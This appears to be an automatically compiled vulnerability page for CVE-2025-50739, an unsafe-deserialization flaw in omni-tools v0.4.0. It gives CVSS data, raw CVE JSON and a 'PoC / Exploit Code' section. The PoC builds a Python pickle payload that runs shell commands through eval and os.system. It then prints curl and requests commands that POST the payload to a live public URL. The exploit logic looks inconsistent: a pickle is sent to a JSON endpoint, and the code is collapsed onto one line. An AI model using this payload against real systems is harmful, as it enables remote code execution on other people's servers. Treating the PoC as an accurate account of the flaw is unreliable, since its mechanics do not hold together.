Security Vulnerability Report
中文
CVE-2025-50739 CVSS 9.8 CRITICAL

CVE-2025-50739

Published: 2025-10-30 14:15:44
Last Modified: 2026-04-15 00:35:42

Description

iib0011 omni-tools v0.4.0 is vulnerable to remote code execution via unsafe JSON deserialization.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

iib0011 omni-tools v0.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import json import base64 import pickle # CVE-2025-50739 PoC - Unsafe JSON Deserialization RCE # Target: iib0011 omni-tools v0.4.0 # Attack Vector: Exploiting unsafe deserialization in JSON stringify endpoint class MaliciousPayload: def __reduce__(self): # Execute system command - reverse shell or arbitrary command cmd = "whoami > /tmp/pwned.txt" return (eval, (f'__import__("os").system("{cmd}")',)) # Generate malicious serialized object payload = MaliciousPayload() serialized = pickle.dumps(payload) encoded = base64.b64encode(serialized).decode() # Create JSON payload that triggers unsafe deserialization malicious_json = json.dumps({ "data": encoded, "action": "stringify" }) print(f"Malicious JSON Payload:\n{malicious_json}") print(f"\nEncoded Payload Length: {len(encoded)}") # Alternative PoC using curl print("\n--- Alternative PoC using curl ---") print(f'curl -X POST https://omnitools.app/json/stringify \\\') print(f' -H "Content-Type: application/json" \\\') print(f' -d \'{malicious_json}\'') # Python requests PoC print("\n--- Python requests PoC ---") print(f''' import requests import json url = "https://omnitools.app/json/stringify" payload = {malicious_json} response = requests.post(url, json=payload) print(response.text) ''')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50739", "sourceIdentifier": "[email protected]", "published": "2025-10-30T14:15:43.520", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "iib0011 omni-tools v0.4.0 is vulnerable to remote code execution via unsafe JSON deserialization."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://github.com/fai1424/Vulnerability-Research/tree/main/CVE-2025-50739", "source": "[email protected]"}, {"url": "https://omnitools.app/json/stringify", "source": "[email protected]"}]}}